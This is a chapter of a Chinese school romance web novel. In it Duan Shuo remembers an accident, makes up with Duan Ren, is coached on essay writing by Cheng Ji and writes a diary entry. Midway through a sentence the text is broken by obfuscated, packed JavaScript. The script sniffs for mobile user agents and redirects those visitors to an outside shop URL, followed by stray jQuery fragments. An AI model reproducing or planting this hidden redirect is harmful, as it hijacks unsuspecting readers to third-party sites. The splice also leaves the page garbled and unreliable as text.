段烁趴在地板上，尽力去够床底下的箱子，纸箱上布满了灰尘，轻轻一碰，无数细小的灰尘便在空中起舞。
他用臂弯捂住口鼻，缓缓打开，放在最上面的，是那个已经坏了的电话手表。
他眼眸微颤，缓缓捧起手表，指尖抹去上面的灰尘，眼神晦暗。
手指缓缓收紧，他的眼底闪烁着几分偏执，举起手表。
记忆却飘回那日黄昏，弯月悬在头顶窄窄的天空，而他的眼里尽数都是血红。
他慌乱地凭着印象点着联系人，大致看清电话号码后，第一个电话便是打给段仁的。
那等待时间像是被无尽拉长，那痛苦似乎也要延伸进无边的黑暗。
“对不起，您拨打的电话暂时无法接听。”
一滴泪，掺进灰尘和血，从脸颊滑落，没入染上暗红的石板路。
他把杜莹和段仁的电话来回打了好几遍，都是无人接听。
说好明天给他过生日的，今天却都不理他了。
他心里这样想着，手表也从手中滑落，滚进血水中，他盯着它看了半晌，还是捡起塞进了口袋。
他缓缓将自己抱紧，一点点任由自己陷入极沉的昏迷。
一阵敲门声打断了他的回忆。
他迟钝地回头，然后不紧不慢地收拾着自己身前的箱子。
“段烁，你开开门。”段仁站在门前道。
段烁将箱子合上，塞进床底，像没有听见身后的动静。
“小烁，我承认，刚才我是有点着急了，你也知道我性子比较急。”段仁颇有耐心道，“你刚才发火，现在头疼不疼？”
段烁起身，将门打开，“我没事……也没有要怪你的意思。”
“小烁，你刚才说的‘我跟你说好的事情’是什么事情？”
段烁对上他的眼睛，扯着唇角道：“没什么事情，我刚生气乱说的。”
“可……”
段烁按住他的肩膀，道：“玩游戏还是吃夜宵，你选一个吧。”
段仁见段烁脸上没有丝毫愠怒和责备，反而是常见的放松和商量的口气，将信将疑问道：“你不生气了？”
“我生什么气，我没那么小心眼，你快选。”
“那……吃夜宵？”
“走啊。”段烁走到玄关处换鞋，对着依旧站在原地的段仁道，“还站在那里干什么。”
段仁卸下心中的负担，朝玄关处走去。
……
两天后，程霁又在办公室见到了段烁，他有些难为情地躲开目光，然后小声问：“这两天该不会都是你帮我抱的作业吧？”
程霁：“嗯，是我帮你抱的。我们差不多扯平了。”
她发现段烁的表情并不像是想在抱作业这件事上扯平一样，他站在一旁，等程霁先拿。
当程霁把自己班的作业一起拿起来后，一旁的段烁忍不住道：“那天我回家的时候我们才说好的，我可以帮你的……”
程霁无奈，留了大概□□本的样子，然后就见段烁表情愉悦地把她留下的那一点放在2班的作业本上。
“……”
应该只有段烁会因为多抱了几本作业而开心了。
段烁和程霁左右保持着不远不近的距离，程霁忽然想起那天语文课上看到的段烁的作文，问他语文作文写得怎么样。
“你竟然知道我语文作文只能写个四十五六分？”段烁意外道。
段烁的表情倒没有像她意料中的那样会觉得丢脸什么的，相反，他好像还因为她能知道而高兴。
程霁怀疑段烁上次烧太厉害给烧傻了。
“你没好好想想怎么写吗？”
“有啊，我暑假的时候积累了很多素材，可还是那样，偶尔下四十五，运气好点能上四十七八。”段烁无奈道，“我不像你，对写议论文这种东西信手拈来，半个小时赶出来的都能拿四十七八分。”
“那今天下午，你有空吗？”
段烁眼睛一亮，道：“有啊。”
她道：“那你来我班上吧，多带几次练习的作文过来，我帮你看看。”
段烁稍稍往程霁那边靠，眼神熠熠：“真有这种好事？”
“你高一的时候不也帮我辅导数学吗？我这次帮你看看作文而已，应该的。”
不知不觉间，已经走到了6班门口，程霁将作业放在空椅子上，然后去拿段烁手里的作业。
段烁趁这时笑嘻嘻道：“那我就先谢谢程老师了。”
程霁不好意思地别开目光，嗔怪：“别这样叫。”
段烁赖皮道：“我就这样叫。”
程霁又羞又恼，忙抱着作业转过身来，还小心地环顾班上人，注意到没什么人注意到他们后才松了一口气。
下午刚打铃，程霁一走到教室外面就看见段烁几乎是第一个冲出教室，速度不减地往她这边赶来。
“慢点，你小心撞到人！”
段烁站定在程霁身边，余晖洒在他的脸上，他一双眼睛里倒映着程霁的影子。
两人靠得极近，就连普通的对视似乎都变得格外粘滞。
“来上你的课，必须积极！”段烁挥了挥手上作文纸，兴奋道。
程霁拿童心大发的段烁一点办法也没有：“作文我看看。”
程霁看了段烁另外几篇，发现果然还是那个问题，于是道：“你的论证和论据有点脱节，你列举论据以后，要根据论据谈最少两句话，然后再写你针对你分论点和你刚才的论据去写你的想法。这样内容就会紧凑一些。”
段烁点点头，指着自己作文的一段话，问道：“那这段呢？”
“这段还可以，但是你论据切入点有点小，这就需要你在分论点和论据之间加一句引导的话。这样才有层次有递进。”程霁说罢，抬头看向段烁，后者眼神无辜地看着她，这模样……应该是没理解。
对视间，两人都没忍住笑了。
“我再讲具体一点，”程霁指着段烁的作文，“你看你这里，你论证快生活忽视速度上限的表现体现快生活的低效，你举的是发展过快而造成的环境问题，这些环境问题又需要耗时耗力恢复。”
“但是你不能直接举例，你要先说因为发展过快才导致环境问题，而不是说环境问题需要花钱花时间修复。这样会让改卷老师有一种错觉，会让他们感觉你论据与论点无关。”
段烁似懂非懂地点点头，程霁又拿红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17951052|214166||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笔给段烁的作文作修改。
临近六点，程霁从柜子里翻出自己的作文，还有一个崭新的厚笔记本，递给段烁：“我的作文你也可以看看，虽然没有作文书上面写的好，但是你可以理解一下那种从表及里的论证。”
段烁有些犹豫，伸出两指准备抽走她手中的试卷，却听得程霁道：“本子也是送给你的。”
“啊？”他惊喜地接过来，“我生日还没到啊。”
她被他盯得害羞，小声道：“平时……就不能送你本子吗？”
“能能能。”他忙叠声道，“谢谢小程老师。”
“你再叫我就收……”
段烁将本子护在怀里，“不能收，我不叫了。”
程霁正色道：“这个本子是平时给你练习用的，你每天想一个分论点试着写一写，周末回去找一篇作文题目去分析破题，列分论点，我会抽查的。”
段烁：“就是当日记一样每天写是吗？”
程霁：“差不多。”
段烁点点头，“好，那我不打扰你了，快去吃饭吧。”
下晚自习后，段烁捧着那本笔记本回到宿舍，撑着脑袋勉强想了一个论点开始写，写完后，又忍不住想写点日记，于是翻到本子的最后一页。
他单手把玩着书签，思索不过短短几秒，便提笔写道：
【2025年9月25日星期四
上次写日记好像还是在五年级，但现在这份热情又被激发出来了。
今天，应该是开学以来最好的一天。今天没碰见魏弈风，还成功地让程霁松口让我帮她抱作业。她还是很好说话的，不仅主动帮我讲作文，还在平常的日子送我本子。
高二的日子比高一下好多了，每天都能见到程霁。现在看来，真是要好好感谢老孟，以后各种作业就帮他收齐吧。有空的话帮他管管班也不是不行。】
“段烁！”
听见有人叫他，段烁啪地一声将本子合上，警戒地望向门口。
宿舍门突然被打开，探出季衡的脑袋，他咧着嘴笑着，道：“烁，出来一下呗。”
段烁将本子往书柜上一放，然后跟着季衡出门。
“什么事？”
“就给你送点吃的，我妈送来的，多做了几份，我心想着肯定不能少了你的，我这不就来你们这栋楼来了。”
段烁凝视着气喘吁吁的季衡，“2号楼到1号楼这么远，你……”
“快拿着吧，”季衡热情地把袋子往段烁手里一塞，笑道，“这点距离算什么，哪怕我从3号楼过来都乐意。走了，我还赶着回去漱口。”
段烁抿了抿唇，心里那个破了很久的大洞正在被悄悄填上，他冲着季衡匆匆远去的背影道：“谢了。”
季衡回头，挥挥手，朗声道：“跟兄弟我还说谢呢！”
季衡从1号楼出来，校道上已经没几个人了，但仍有三五个人聚在2号楼和3号楼之间，围成一个圈商量着什么。
季衡看见了唐广博，眉头微拧，站在2号楼门口，听他们的对话，只隐约听见“运动会”“报复”这样几个字眼，他们便开始留心他。
季衡自讨没趣，把这件事情记在心上，然后扭头进楼。